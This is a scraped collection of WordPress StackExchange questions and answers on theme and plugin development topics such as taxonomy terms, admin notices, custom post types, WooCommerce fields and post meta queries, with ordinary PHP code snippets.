<p>Another company has the domain name currently so they are redirecting to our IP and DNS. </p>
<p>The website works fine and all forms are working but the admin login form is getting a 'too many redirects' error when trying to load.</p>
<p>We run our development sites from the same server, but on a subdomain and that is working fine.</p>
<p>I've tried removing htaccess and plugins, replacing all the files again, replacing the database and it still doesn't work. I am at a loss to what the problem could be caused by?</p>
<p>This is a standard WP site, not multi-site, and is running on HTTPS.</p>
<p>Any ideas?</p>
<p>Thankyou in advance!</p>
| [
{
"answer_id": 290880,
"author": "maverick",
"author_id": 132953,
"author_profile": "https://wordpress.stackexchange.com/users/132953",
"pm_score": -1,
"selected": false,
"text": "<p>I think it's okay to do that.\nproblem will arise if you don't name the file in proper way.\ni.e., wordpr... | 2018/01/12 | [
"https://wordpress.stackexchange.com/questions/290923",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/106013/"
] | I have a site that we have developed that we have just moved live.
Another company has the domain name currently so they are redirecting to our IP and DNS.
The website works fine and all forms are working but the admin login form is getting a 'too many redirects' error when trying to load.
We run our development sites from the same server, but on a subdomain and that is working fine.
I've tried removing htaccess and plugins, replacing all the files again, replacing the database and it still doesn't work. I am at a loss to what the problem could be caused by?
This is a standard WP site, not multi-site, and is running on HTTPS.
Any ideas?
Thankyou in advance! | It seems all I needed to do was put in the template\_part
```
get_template_part( 'template-parts/page/content', 'page' );
``` |
290,965 | <p>I have a custom hierarchical taxonomy ('location') that looks like:</p>
<pre><code>Tokyo
--Minato
----Roppongi
</code></pre>
<p>I have a post where only "Roppongi" is selected and I want to display as text only the top level parent term of the taxonomy (Tokyo) without any category link.</p>
<pre><code><?php $myterms = get_terms( array( 'taxonomy' => 'location', 'parent' => 0 ) );?>
</code></pre>
<p>The above code gives me...</p>
<blockquote>
<p>Array ( [0] => WP_Term Object ( [term_id] => 11 [name] => Tokyo [slug]
=> tokyo [term_group] => 0 [term_taxonomy_id] => 11 [taxonomy] => location [description] => [parent] => 0 [count] => 0 [filter] => raw )
)</p>
</blockquote>
<p>... as an output if I use...</p>
<pre><code><?php print_r($myterms);?>
</code></pre>
<p>... to display the result at the front-end. How do I display only the [name] value in the array? I tried the below code but get an error.</p>
<pre><code><?php echo $myterms[0]['name'];?>
</code></pre>
| [
{
"answer_id": 290966,
"author": "KAGG Design",
"author_id": 108721,
"author_profile": "https://wordpress.stackexchange.com/users/108721",
"pm_score": 2,
"selected": false,
"text": "<p>It is an object, and you can use the following notation:</p>\n\n<pre><code><?php echo $myterms[0]-&g... | 2018/01/13 | [
"https://wordpress.stackexchange.com/questions/290965",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/62598/"
] | I have a custom hierarchical taxonomy ('location') that looks like:
```
Tokyo
--Minato
----Roppongi
```
I have a post where only "Roppongi" is selected and I want to display as text only the top level parent term of the taxonomy (Tokyo) without any category link.
```
<?php $myterms = get_terms( array( 'taxonomy' => 'location', 'parent' => 0 ) );?>
```
The above code gives me...
>
> Array ( [0] => WP\_Term Object ( [term\_id] => 11 [name] => Tokyo [slug]
> => tokyo [term\_group] => 0 [term\_taxonomy\_id] => 11 [taxonomy] => location [description] => [parent] => 0 [count] => 0 [filter] => raw )
> )
>
>
>
... as an output if I use...
```
<?php print_r($myterms);?>
```
... to display the result at the front-end. How do I display only the [name] value in the array? I tried the below code but get an error.
```
<?php echo $myterms[0]['name'];?>
``` | It is an object, and you can use the following notation:
```
<?php echo $myterms[0]->name; ?>
``` |
290,968 | <p>I'm working on the WordPress theme, I want to ask how to do the demo content, how to EXPORT the all - menu, pictures, texts, widgets, everything? I also made require download plugins whit TGM Plugin with which the theme works, but how to do when installing the theme, these plugins to come with my custom settings from the original theme? Most simply how to make a theme ready for installation by another user as it looks in the demo version? </p>
| [
{
"answer_id": 290966,
"author": "KAGG Design",
"author_id": 108721,
"author_profile": "https://wordpress.stackexchange.com/users/108721",
"pm_score": 2,
"selected": false,
"text": "<p>It is an object, and you can use the following notation:</p>\n\n<pre><code><?php echo $myterms[0]-&g... | 2018/01/13 | [
"https://wordpress.stackexchange.com/questions/290968",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134794/"
] | I'm working on the WordPress theme, I want to ask how to do the demo content, how to EXPORT the all - menu, pictures, texts, widgets, everything? I also made require download plugins whit TGM Plugin with which the theme works, but how to do when installing the theme, these plugins to come with my custom settings from the original theme? Most simply how to make a theme ready for installation by another user as it looks in the demo version? | It is an object, and you can use the following notation:
```
<?php echo $myterms[0]->name; ?>
``` |
290,976 | <p>I have a plugin with a setting page, and there are some action that have to be done when a certain option is saved. I am using the <code>pre_update_option_</code> hook to do this. So far so good. If something goes wrong, however, I'd also need to notify that to the user.
I tried these things:</p>
<p><strong>1) Add hook to admin_notices before updating the code</strong></p>
<pre><code>add_action ('pre_update_option_my_var', function( $new_value, $old_value) {
//Do my validation
$valid = ( 'correct_value' == $new_value );
if ( !$valid ) add_action('admin_notices', 'my_notification_function' )
return ($valid)? $new_value : $old_value;
});
</code></pre>
<p>The validation works, but the notification is not displayed because, I assume, by then the functions hooked to <code>admin_notices</code> have already been executed?</p>
<p>2) Validation in the function hooked to admin_notices
To solve the problem above, I had this idea. </p>
<pre><code>add_action('admin_notices', function () {
//Do my validation
$valid = ( 'correct_value' == $_POST['my_var'] );
if (!$valid) { /* Display error message */ }
//Store the value of $valid
});
add_action ('pre_update_option_my_var', function( $new_value, $old_value) {
//fetch the value of $valid which I stored
return ($valid)? $new_value : $old_value;
});
</code></pre>
<p>Now, this would seem to work well, I do see the notification now. The problem is that for some strange reason I don't see the posted values. I tried to print <code>$_POST</code> and it always empty! Probably WordPress is passing the values in some other way? If so, how?</p>
<p>Which one is the right way to go, and how can I fix the issue? Of course, if any other method is better than these two and solves the issue, it's welcome. </p>
| [
{
"answer_id": 290978,
"author": "KAGG Design",
"author_id": 108721,
"author_profile": "https://wordpress.stackexchange.com/users/108721",
"pm_score": 1,
"selected": false,
"text": "<p>No, you are doing wrong. <code>add_action</code> must be in <code>__construct()</code> of your plugin o... | 2018/01/13 | [
"https://wordpress.stackexchange.com/questions/290976",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/61991/"
] | I have a plugin with a setting page, and there are some action that have to be done when a certain option is saved. I am using the `pre_update_option_` hook to do this. So far so good. If something goes wrong, however, I'd also need to notify that to the user.
I tried these things:
**1) Add hook to admin\_notices before updating the code**
```
add_action ('pre_update_option_my_var', function( $new_value, $old_value) {
//Do my validation
$valid = ( 'correct_value' == $new_value );
if ( !$valid ) add_action('admin_notices', 'my_notification_function' )
return ($valid)? $new_value : $old_value;
});
```
The validation works, but the notification is not displayed because, I assume, by then the functions hooked to `admin_notices` have already been executed?
2) Validation in the function hooked to admin\_notices
To solve the problem above, I had this idea.
```
add_action('admin_notices', function () {
//Do my validation
$valid = ( 'correct_value' == $_POST['my_var'] );
if (!$valid) { /* Display error message */ }
//Store the value of $valid
});
add_action ('pre_update_option_my_var', function( $new_value, $old_value) {
//fetch the value of $valid which I stored
return ($valid)? $new_value : $old_value;
});
```
Now, this would seem to work well, I do see the notification now. The problem is that for some strange reason I don't see the posted values. I tried to print `$_POST` and it always empty! Probably WordPress is passing the values in some other way? If so, how?
Which one is the right way to go, and how can I fix the issue? Of course, if any other method is better than these two and solves the issue, it's welcome. | After digging in the setting API I found the answer. Method 1 was correct, but the notification should not be done by hooking to `admin_notices`, rather by the function [add\_settings\_error](https://codex.wordpress.org/Function_Reference/add_settings_error)
```
add_action ('pre_update_option_my_var', function( $new_value, $old_value) {
//Do my validation
$valid = ( 'correct_value' == $new_value );
if ( !$valid ) {
//This fixes the issue
add_settings_error( 'my_var', $error_code, $message );
}
return ($valid)? $new_value : $old_value;
});
```
In order to display them, this also needs to be added at the beginning of the settings page:
```
<h2>The heading of my settings page</h2>
<?php settings_errors(); ?>
``` |
290,979 | <p><br>
I want to remove "Browsed By Категорија: ..." from my category pages, but I don't know how. Web site is: <a href="http://deks.org.rs/sanunis/" rel="nofollow noreferrer">http://deks.org.rs/sanunis/</a> <br>
Theme is nisarg. <br>
Thank you in advance.</p>
| [
{
"answer_id": 290978,
"author": "KAGG Design",
"author_id": 108721,
"author_profile": "https://wordpress.stackexchange.com/users/108721",
"pm_score": 1,
"selected": false,
"text": "<p>No, you are doing wrong. <code>add_action</code> must be in <code>__construct()</code> of your plugin o... | 2018/01/13 | [
"https://wordpress.stackexchange.com/questions/290979",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134556/"
] | I want to remove "Browsed By Категорија: ..." from my category pages, but I don't know how. Web site is: <http://deks.org.rs/sanunis/>
Theme is nisarg.
Thank you in advance. | After digging in the setting API I found the answer. Method 1 was correct, but the notification should not be done by hooking to `admin_notices`, rather by the function [add\_settings\_error](https://codex.wordpress.org/Function_Reference/add_settings_error)
```
add_action ('pre_update_option_my_var', function( $new_value, $old_value) {
//Do my validation
$valid = ( 'correct_value' == $new_value );
if ( !$valid ) {
//This fixes the issue
add_settings_error( 'my_var', $error_code, $message );
}
return ($valid)? $new_value : $old_value;
});
```
In order to display them, this also needs to be added at the beginning of the settings page:
```
<h2>The heading of my settings page</h2>
<?php settings_errors(); ?>
``` |
290,989 | <p>I try to get the value of WooCommerce custom field from an array of product ID. No luck, I'm on the custom page not on the woocommerce loop.</p>
<p>tried this: <code>$productArray1</code> is a list of product ID (and it's working)</p>
<pre><code>global $wpdb;
global $product;
foreach ($productArray1 as $value)
{
$querystr = "
SELECT meta_value
FROM $wpdb->postmeta.meta_key
WHERE $wpdb->postmeta.meta_key = 'product_cip'
AND $wpdb->posts.$product->ID=$value
ORDER BY meta_value DESC
";
$productsCIP = $wpdb->get_results($querystr, OBJECT);
if ( ! $productsCIP ) {
$wpdb->print_error();
}
else {
echo $productsCIP;
}
};
</code></pre>
<p>I can get all product with the same customfield like this :</p>
<pre><code>$products = wc_get_products( array( 'product_cip' => '3337875548519' ) );
echo 'PRODUCT WITH SAME CIP (TOTAL : '.count($products).')<br>';
</code></pre>
<p>But I need to find 'product_cip' by product ID.
Any clue? </p>
<p>Thanks for the help.</p>
| [
{
"answer_id": 291023,
"author": "user1397532",
"author_id": 134805,
"author_profile": "https://wordpress.stackexchange.com/users/134805",
"pm_score": 2,
"selected": true,
"text": "<p>Poedit is the way to go fro translating most of your plugins.</p>\n\n<p>WPMl is doing quite a good job, ... | 2018/01/13 | [
"https://wordpress.stackexchange.com/questions/290989",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/114157/"
] | I try to get the value of WooCommerce custom field from an array of product ID. No luck, I'm on the custom page not on the woocommerce loop.
tried this: `$productArray1` is a list of product ID (and it's working)
```
global $wpdb;
global $product;
foreach ($productArray1 as $value)
{
$querystr = "
SELECT meta_value
FROM $wpdb->postmeta.meta_key
WHERE $wpdb->postmeta.meta_key = 'product_cip'
AND $wpdb->posts.$product->ID=$value
ORDER BY meta_value DESC
";
$productsCIP = $wpdb->get_results($querystr, OBJECT);
if ( ! $productsCIP ) {
$wpdb->print_error();
}
else {
echo $productsCIP;
}
};
```
I can get all product with the same customfield like this :
```
$products = wc_get_products( array( 'product_cip' => '3337875548519' ) );
echo 'PRODUCT WITH SAME CIP (TOTAL : '.count($products).')<br>';
```
But I need to find 'product\_cip' by product ID.
Any clue?
Thanks for the help. | Poedit is the way to go fro translating most of your plugins.
WPMl is doing quite a good job, though, at parsing plugins and themes strings for translation purposes. You should give it a try. |
291,117 | <p>I am trying to retrieve a list including both builtin and custom post types:</p>
<pre><code>$post_types = get_post_types(array(
'public' => TRUE,
), 'objects');
</code></pre>
<p>The above almost works, but I would like to exclude the <code>attachment</code> from this list, only returning post types with specific support such as <code>editor</code>, <code>title</code> and <code>thumbnail</code>. Is this possible?</p>
| [
{
"answer_id": 291121,
"author": "cybmeta",
"author_id": 37428,
"author_profile": "https://wordpress.stackexchange.com/users/37428",
"pm_score": 2,
"selected": false,
"text": "<p><a href=\"https://developer.wordpress.org/reference/functions/get_post_types/\" rel=\"nofollow noreferrer\"><... | 2018/01/15 | [
"https://wordpress.stackexchange.com/questions/291117",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/14870/"
] | I am trying to retrieve a list including both builtin and custom post types:
```
$post_types = get_post_types(array(
'public' => TRUE,
), 'objects');
```
The above almost works, but I would like to exclude the `attachment` from this list, only returning post types with specific support such as `editor`, `title` and `thumbnail`. Is this possible? | I found out that [`get_post_types_by_support()`](https://developer.wordpress.org/reference/functions/get_post_types_by_support/) seems to be the solution to get the desired result:
```
$post_types = get_post_types_by_support(array('title', 'editor', 'thumbnail'));
```
The above will return `post`, `page` and any custom post type that supports `title`, `editor` and `thumbnail`.
Since this will also return private post types, we could loop through the list and check if the type is viewable at the frontend. This can be done by using the [`is_post_type_viewable()`](https://developer.wordpress.org/reference/functions/is_post_type_viewable/) function:
```
foreach ($post_types as $key => $post_type) {
if (!is_post_type_viewable($post_type)) {
unset($post_types[$post_type]);
}
}
``` |
291,145 | <p>Is there a way to put some code into the header but have it load only on blog posts? </p>
<p>Maybe a plugin or a piece of code that could help me accomplish this?</p>
| [
{
"answer_id": 291146,
"author": "Chazlie",
"author_id": 129681,
"author_profile": "https://wordpress.stackexchange.com/users/129681",
"pm_score": -1,
"selected": false,
"text": "<p>You could create another header called header-blog.php</p>\n\n<p>Then on your blogs template replace the <... | 2018/01/15 | [
"https://wordpress.stackexchange.com/questions/291145",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134930/"
] | Is there a way to put some code into the header but have it load only on blog posts?
Maybe a plugin or a piece of code that could help me accomplish this? | Yes. In your `functions.php` file, add something like the following:
```
function my_post_header_function() {
if( is_single() ) {
// Your Code Goes Here
}
}
add_action( 'wp_head', 'my_post_header_function' );
```
What this will do is execute this when `wp_head()` is fired. It will see if you're on a single post (NOTE: This will *not* work on pages or attachments) and if you are, it will execute the code you want to put. |
291,169 | <pre><code>$category = get_category( get_query_var( 'cat' ) );
$child_cats = (array) get_term_children( $category , 'category' );
wp_list_categories( array(
'exclude' => $child_cats
) );
</code></pre>
<p>Is it possible to exclude all child categories?</p>
<p>Update : I tried this also but it doesn't work.</p>
<pre><code>$categories = get_categories( array(
'childless' => true,
) );
$child_cats = (array) get_term_children( $categories, 'category' );
$cats = wp_list_categories( array(
'exclude' => $child_cats
) );
</code></pre>
<p>Edit 2 : I preferably would like this to work with <a href="https://codex.wordpress.org/Function_Reference/get_the_category_list" rel="nofollow noreferrer">get_the_category_list</a></p>
| [
{
"answer_id": 291146,
"author": "Chazlie",
"author_id": 129681,
"author_profile": "https://wordpress.stackexchange.com/users/129681",
"pm_score": -1,
"selected": false,
"text": "<p>You could create another header called header-blog.php</p>\n\n<p>Then on your blogs template replace the <... | 2018/01/16 | [
"https://wordpress.stackexchange.com/questions/291169",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/104464/"
] | ```
$category = get_category( get_query_var( 'cat' ) );
$child_cats = (array) get_term_children( $category , 'category' );
wp_list_categories( array(
'exclude' => $child_cats
) );
```
Is it possible to exclude all child categories?
Update : I tried this also but it doesn't work.
```
$categories = get_categories( array(
'childless' => true,
) );
$child_cats = (array) get_term_children( $categories, 'category' );
$cats = wp_list_categories( array(
'exclude' => $child_cats
) );
```
Edit 2 : I preferably would like this to work with [get\_the\_category\_list](https://codex.wordpress.org/Function_Reference/get_the_category_list) | Yes. In your `functions.php` file, add something like the following:
```
function my_post_header_function() {
if( is_single() ) {
// Your Code Goes Here
}
}
add_action( 'wp_head', 'my_post_header_function' );
```
What this will do is execute this when `wp_head()` is fired. It will see if you're on a single post (NOTE: This will *not* work on pages or attachments) and if you are, it will execute the code you want to put. |
291,181 | <p>I used following code </p>
<pre><code>function userinfo_global() {
global $users_info;
wp_get_current_user();
}
add_action( 'init', 'userinfo_global' );
</code></pre>
<p>in a file <code>users.php</code> , this file are call in inside <code>funtions.php</code>.</p>
<p>in template file I have <code><?php echo $users_info->user_firstname; ?></code> , but no working.. </p>
<p>I want to do global <code>wp_get_current_user();</code></p>
<p>You know why?</p>
| [
{
"answer_id": 291182,
"author": "janh",
"author_id": 129206,
"author_profile": "https://wordpress.stackexchange.com/users/129206",
"pm_score": 4,
"selected": true,
"text": "<p>You'll also have to fill the variable, e.g.</p>\n\n<pre><code>function userinfo_global() {\n global $users_i... | 2018/01/16 | [
"https://wordpress.stackexchange.com/questions/291181",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/129093/"
] | I used following code
```
function userinfo_global() {
global $users_info;
wp_get_current_user();
}
add_action( 'init', 'userinfo_global' );
```
in a file `users.php` , this file are call in inside `funtions.php`.
in template file I have `<?php echo $users_info->user_firstname; ?>` , but no working..
I want to do global `wp_get_current_user();`
You know why? | You'll also have to fill the variable, e.g.
```
function userinfo_global() {
global $users_info;
$users_info = wp_get_current_user();
}
add_action( 'init', 'userinfo_global' );
```
And you should then be able to use $users\_info everywhere in global context. Keep in mind that some template pars (header.php, footer.php, those used via `get_template_part`) are not in global scope by default, so you'll have to use `global $users_info;` in those files before accessing the variable. |
291,229 | <p>I have a Custom Post Type Called <code>SlidersCPT</code> as I register the CPT like</p>
<pre><code>register_post_type( 'SlidersCPT', $args );
</code></pre>
<p>and I need to apply some CSS rules on admin page <strong>only</strong> when creating New SlidersCPT custom Post Type. I thought this might help:</p>
<pre><code>if(get_post_type() == 'SlidersCPT') {}
</code></pre>
<p>but as you can see it just controlling the page of Custopm Post Type not the Admin area.</p>
<p>what I want to do is controlling css of page if it is in admin page of creating a custom post type</p>
<pre><code>function hide_editor() {
if(get_post_type() == 'SlidersCPT') { ?>
<style>
#insert-media-button { display: none !important; }
</style>
<?php
}
}
</code></pre>
| [
{
"answer_id": 291233,
"author": "Max Yudin",
"author_id": 11761,
"author_profile": "https://wordpress.stackexchange.com/users/11761",
"pm_score": 0,
"selected": false,
"text": "<p>The URL of the admin Add screen looks like this:</p>\n\n<pre><code>https://example.com/wp-admin/post-new.ph... | 2018/01/16 | [
"https://wordpress.stackexchange.com/questions/291229",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/35444/"
] | I have a Custom Post Type Called `SlidersCPT` as I register the CPT like
```
register_post_type( 'SlidersCPT', $args );
```
and I need to apply some CSS rules on admin page **only** when creating New SlidersCPT custom Post Type. I thought this might help:
```
if(get_post_type() == 'SlidersCPT') {}
```
but as you can see it just controlling the page of Custopm Post Type not the Admin area.
what I want to do is controlling css of page if it is in admin page of creating a custom post type
```
function hide_editor() {
if(get_post_type() == 'SlidersCPT') { ?>
<style>
#insert-media-button { display: none !important; }
</style>
<?php
}
}
``` | You can use this code:
```
add_action( 'admin_enqueue_scripts', 'load_admin_style' );
function load_admin_style() {
global $pagenow;
if ( 'post.php' === $pagenow && isset($_GET['post']) && 'YOURPOSTTYPE' === get_post_type( $_GET['post'] ) ) {
wp_enqueue_style( 'admin_css', get_template_directory_uri() . '/admin-style.css', false, '1.0.0' );
}
}
``` |
291,261 | <p>I have custom wp_query used in buddypress to list all posts of the author (taken from the profile user currently visits). I tried to follow other topics but I'm failing miserably. </p>
<p>Code below: </p>
<pre><code> ?php // Display posts in user profile
// Construct new user profile tab
add_action( 'bp_setup_nav', 'add_profileposts_tab', 100 );
function add_profileposts_tab() {
global $bp;
bp_core_new_nav_item( array(
'name' => 'Publikacje',
'slug' => 'publikacje',
'screen_function' => 'bp_postsonprofile',
'default_subnav_slug' => 'Moje publikacje',
'position' => 35
)
);
}
// show 'Posts' tab once clicked
function bp_postsonprofile() {
add_action( 'bp_template_content', 'profile_screen_posts_show' );
bp_core_load_template( apply_filters( 'bp_core_template_plugin', 'members/single/plugins' ) );
}
// query the loop and get the template
function profile_screen_posts_show() {
$user_id = bp_displayed_user_id();
$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
$query = new WP_Query( 'author=' . $user_id );
?
?php if ( $query->have_posts() ) : ?
?php while ( $query->have_posts() ): $query->the_post(); ?
<div id="post-<?php the_ID(); ?> blog_list" <?php post_class(); ?>>
<div class="container-wrapper blog-list">
<div class="post-tittle"><h2 class="posttitle"> <a href="<?php the_permalink(); ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a> </h2></div>
</br>
<div class="post-wrapper">
<div class="miniaturka post-left">
?php if ( function_exists( 'has_post_thumbnail' ) && has_post_thumbnail( get_the_ID() ) ):?
<div class="post-featured-image left">
<a href="<?php the_permalink(); ?>"><?php the_post_thumbnail('medium');?></a>
</div>
?php endif;?
</div>
<div class="post-content post-right">
<p class="author class"><?php echo get_the_date(); ?></br><?php printf(get_the_category_list( ', ' ) ); ?></p>
</br>
<div class="entry">
<?php the_excerpt(); ?>
<span class="comments"><?php comments_popup_link(); ?></span>
</div>
</div>
</div>
</div>
</div>
?php endwhile; ?
?php else: ?
?php wp_reset_query(); ?
<div id="message" class="info">
<p><?php bp_displayed_user_username(); ?> jeszcze niczego nie napisał </p>
</div>
?php endif; wp_reset_postdata();? ?php
}
?
</code></pre>
<p>I tried using (sorry for awful formatting):</p>
<pre><code>$query = new WP_Query(array('author='=>$user_id, 'posts_per_page'=>20, 'paged'=>$paged));
</code></pre>
<p>But while it works (without pagination, of course) I get it listing ALL posts, no matter the author. What I am doing wrong (other than being super bad at this)? </p>
| [
{
"answer_id": 291233,
"author": "Max Yudin",
"author_id": 11761,
"author_profile": "https://wordpress.stackexchange.com/users/11761",
"pm_score": 0,
"selected": false,
"text": "<p>The URL of the admin Add screen looks like this:</p>\n\n<pre><code>https://example.com/wp-admin/post-new.ph... | 2018/01/16 | [
"https://wordpress.stackexchange.com/questions/291261",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/132331/"
] | I have custom wp\_query used in buddypress to list all posts of the author (taken from the profile user currently visits). I tried to follow other topics but I'm failing miserably.
Code below:
```
?php // Display posts in user profile
// Construct new user profile tab
add_action( 'bp_setup_nav', 'add_profileposts_tab', 100 );
function add_profileposts_tab() {
global $bp;
bp_core_new_nav_item( array(
'name' => 'Publikacje',
'slug' => 'publikacje',
'screen_function' => 'bp_postsonprofile',
'default_subnav_slug' => 'Moje publikacje',
'position' => 35
)
);
}
// show 'Posts' tab once clicked
function bp_postsonprofile() {
add_action( 'bp_template_content', 'profile_screen_posts_show' );
bp_core_load_template( apply_filters( 'bp_core_template_plugin', 'members/single/plugins' ) );
}
// query the loop and get the template
function profile_screen_posts_show() {
$user_id = bp_displayed_user_id();
$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
$query = new WP_Query( 'author=' . $user_id );
?
?php if ( $query->have_posts() ) : ?
?php while ( $query->have_posts() ): $query->the_post(); ?
<div id="post-<?php the_ID(); ?> blog_list" <?php post_class(); ?>>
<div class="container-wrapper blog-list">
<div class="post-tittle"><h2 class="posttitle"> <a href="<?php the_permalink(); ?>" rel="bookmark" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a> </h2></div>
</br>
<div class="post-wrapper">
<div class="miniaturka post-left">
?php if ( function_exists( 'has_post_thumbnail' ) && has_post_thumbnail( get_the_ID() ) ):?
<div class="post-featured-image left">
<a href="<?php the_permalink(); ?>"><?php the_post_thumbnail('medium');?></a>
</div>
?php endif;?
</div>
<div class="post-content post-right">
<p class="author class"><?php echo get_the_date(); ?></br><?php printf(get_the_category_list( ', ' ) ); ?></p>
</br>
<div class="entry">
<?php the_excerpt(); ?>
<span class="comments"><?php comments_popup_link(); ?></span>
</div>
</div>
</div>
</div>
</div>
?php endwhile; ?
?php else: ?
?php wp_reset_query(); ?
<div id="message" class="info">
<p><?php bp_displayed_user_username(); ?> jeszcze niczego nie napisał </p>
</div>
?php endif; wp_reset_postdata();? ?php
}
?
```
I tried using (sorry for awful formatting):
```
$query = new WP_Query(array('author='=>$user_id, 'posts_per_page'=>20, 'paged'=>$paged));
```
But while it works (without pagination, of course) I get it listing ALL posts, no matter the author. What I am doing wrong (other than being super bad at this)? | You can use this code:
```
add_action( 'admin_enqueue_scripts', 'load_admin_style' );
function load_admin_style() {
global $pagenow;
if ( 'post.php' === $pagenow && isset($_GET['post']) && 'YOURPOSTTYPE' === get_post_type( $_GET['post'] ) ) {
wp_enqueue_style( 'admin_css', get_template_directory_uri() . '/admin-style.css', false, '1.0.0' );
}
}
``` |
291,268 | <p><a href="https://i.stack.imgur.com/cydDR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cydDR.png" alt="enter image description here"></a></p>
<p>As you can see, WooCommerce's State fields use select field.</p>
<p>But, I just want user enter State directly!</p>
<p>How can I do this?</p>
| [
{
"answer_id": 291505,
"author": "Dharmishtha Patel",
"author_id": 135085,
"author_profile": "https://wordpress.stackexchange.com/users/135085",
"pm_score": 0,
"selected": false,
"text": "<pre><code>$('#billing_address_1').removeAttr('disabled');\n</code></pre>\n"
},
{
"answer_id... | 2018/01/17 | [
"https://wordpress.stackexchange.com/questions/291268",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/136439/"
] | [](https://i.stack.imgur.com/cydDR.png)
As you can see, WooCommerce's State fields use select field.
But, I just want user enter State directly!
How can I do this? | Add this to your functions.php
Simply add this code to your functions file and your WooCommerce will now use standard drop downs.
```
add_action( 'wp_enqueue_scripts', 'agentwp_dequeue_stylesandscripts', 100 );
function agentwp_dequeue_stylesandscripts() {
if ( class_exists( 'woocommerce' ) ) {
wp_dequeue_style( 'select2' );
wp_deregister_style( 'select2' );
wp_dequeue_script( 'select2');
wp_deregister_script('select2');
}
}
``` |
291,288 | <p>I have created custom fields for posts by using the add_meta_box action. I want to create my own WP Query based on my custom field, to make sure I will only load a post collection with the correct data. If I add a new field, the post doesn't automatically have a value for my custom field. So I am not able to load the proper collection without manually saving all the posts. I've got over 1200 posts, so it's going to be really difficult to change them all and set the value in the database.</p>
<p>The field which I created should be automatically set on "true". If the field is true, I will show the posts on a specific page. I currently want all posts I have to be shown on that page, so all 1200 posts should be loaded. In the future the posts will be sorted out and some posts should not be shown on the homepage.</p>
<p>I created the field using the add_meta_boxes action. Showing the field, editing the field and saving the field works properly.</p>
<pre><code>/**
* Add Meta Box to post
*/
if(!function_exists('theme_settings_add_post_meta_box')) {
function theme_settings_add_post_meta_box()
{
$screens = array('post');
foreach ($screens as $screen) {
add_meta_box(
'theme_settings_section_slider',
__('Homepage Slider', 'slidedata'),
'theme_settings_section_slider_callback',
$screen,
'normal',
'high'
);
}
}
}
</code></pre>
<p>I have created the form elements in the function "theme_settings_section_slider_callback". I have copied the custom field which I want to filter by:</p>
<pre><code>$showPost = 'theme_settings_post_show';
<?php /** Show post on frontend */ ?>
<label for="<?php echo $showPost ?>"><?php _e('Show post on homepage') ?></label>
<br />
<select style="margin-bottom: 20px" name="<?php echo $showPost ?>" id="<?php echo $showPost ?>">
<option value="false" <?php echo get_post_meta($object->ID, $showPost, true) == 'false' ? '' : 'selected' ?>>No</option>
<option value="true" <?php echo get_post_meta($object->ID, $showPost, true) != 'false' ? 'selected' : '' ?>>Yes</option>
</select>
</code></pre>
<p>Save function (which also works fine)</p>
<pre><code>if(!function_exists('theme_settings_save_post_meta_box')) {
function theme_settings_save_post_meta_box($post_id, $post) {
// Add a check if this account has permission to save, maybe?
.....
$data['show_post'] = 'theme_settings_post_show';
foreach($data as $item) {
if(isset($_POST[$item])) {
$value = $_POST[$item];
update_post_meta($post_id, $item, $value);
}
}
}
}
</code></pre>
<p>The field logic works just fine. This is the query I use to show the posts based on the field "theme_settings_post_show":</p>
<pre><code>//Get all posts which have to be shown on the homepage
if(!function_exists('getPosts')) {
function getPosts() {
//$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
//Query arguments
$queryArguments = array(
'posts_per_page' => -1,
'post_type' => 'post',
'meta_key' => 'theme_settings_post_show',
'meta_value' => 'true'
);
$postsQuery = new WP_Query($queryArguments);
if($postsQuery->have_posts()) {
return $postsQuery;
}
return false;
}
}
</code></pre>
<p>As you can expect, the field "theme_settings_post_show" is not set for any post yet, so I'm not retrieving any post with my function "getPost". I have also tried filtering by meta_value null, but that doesn't work.</p>
<p>So, my question is: How can I create a field which automatically has a default value for all posts? Or am I forced to create some sort of script which loops through all posts and set the data automatically? Or am I using a wrong method to add the fields to the post?</p>
| [
{
"answer_id": 291292,
"author": "Max Yudin",
"author_id": 11761,
"author_profile": "https://wordpress.stackexchange.com/users/11761",
"pm_score": 3,
"selected": true,
"text": "<p>Try <code>meta_query</code> to get posts having <code>theme_settings_post_show == true</code> (for new posts... | 2018/01/17 | [
"https://wordpress.stackexchange.com/questions/291288",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/135022/"
] | I have created custom fields for posts by using the add\_meta\_box action. I want to create my own WP Query based on my custom field, to make sure I will only load a post collection with the correct data. If I add a new field, the post doesn't automatically have a value for my custom field. So I am not able to load the proper collection without manually saving all the posts. I've got over 1200 posts, so it's going to be really difficult to change them all and set the value in the database.
The field which I created should be automatically set on "true". If the field is true, I will show the posts on a specific page. I currently want all posts I have to be shown on that page, so all 1200 posts should be loaded. In the future the posts will be sorted out and some posts should not be shown on the homepage.
I created the field using the add\_meta\_boxes action. Showing the field, editing the field and saving the field works properly.
```
/**
* Add Meta Box to post
*/
if(!function_exists('theme_settings_add_post_meta_box')) {
function theme_settings_add_post_meta_box()
{
$screens = array('post');
foreach ($screens as $screen) {
add_meta_box(
'theme_settings_section_slider',
__('Homepage Slider', 'slidedata'),
'theme_settings_section_slider_callback',
$screen,
'normal',
'high'
);
}
}
}
```
I have created the form elements in the function "theme\_settings\_section\_slider\_callback". I have copied the custom field which I want to filter by:
```
$showPost = 'theme_settings_post_show';
<?php /** Show post on frontend */ ?>
